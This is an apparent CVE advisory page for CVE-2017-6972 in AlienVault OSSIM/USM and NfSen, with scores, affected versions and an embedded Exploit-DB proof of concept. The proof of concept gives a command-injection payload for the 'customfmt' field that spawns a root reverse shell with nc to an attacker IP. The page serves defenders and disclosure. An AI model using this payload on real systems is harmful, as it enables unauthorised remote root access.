CVE-2017-6972

critical
Published 2017-03-22 ยท Modified 2026-05-13
CVSS v3
9.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

AlienVault USM and OSSIM before 5.3.7 and NfSen before 1.3.8 have an error in privilege dropping and unnecessarily execute the NfSen Perl code as root, aka AlienVault ID ENG-104945, a different vulnerability than CVE-2017-6970 and CVE-2017-6971.

Predictions

Exploit likelihood
97%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42314 webapps linux verified text ยท 1 KB
Paul Taylor ยท 2017-07-11

NfSen < 1.3.7 / AlienVault OSSIM 4.3.1 - 'customfmt' Command Injection

text exploit Source: Exploit-DB
# Exploit Title: NfSen/AlienVault remote root exploit (command injection in customfmt parameter)
# Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
# Version: AlienVault USM/OSSIM < 4.3.1
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: NfSen 1.3.7
# CVE: CVE-2017-7175, CVE-2017-6972

1. Description

A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request with shell commands which will be executed as root on a vulnerable system. The injection is covered by CVE-2017-7175, and the commands are executed as root due to CVE-2017-6972.

2. Proof of Concept


For a reverse shell to attacking machine 10.100.1.2, on the NfSen / AlienVault netflow processing web page, enter the following into the "Custom output format:" input box:

'; nc -ne /bin/bash 10.100.1.2 443 #

If nc is not installed on the target, then alternative attacks are likely to be possible to leverage the vulnerability.

3. Solution:

Update to latest version of NfSen/USM/OSSIM

Application impact

VendorProductVersionsFixed
alienvaultossim{"endIncluding":"5.3.6"}
alienvaultunified_security_management{"endIncluding":"5.3.6"}
nfsennfsen{"endIncluding":"1.3.7"}

References

CWEs

CWE-273

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.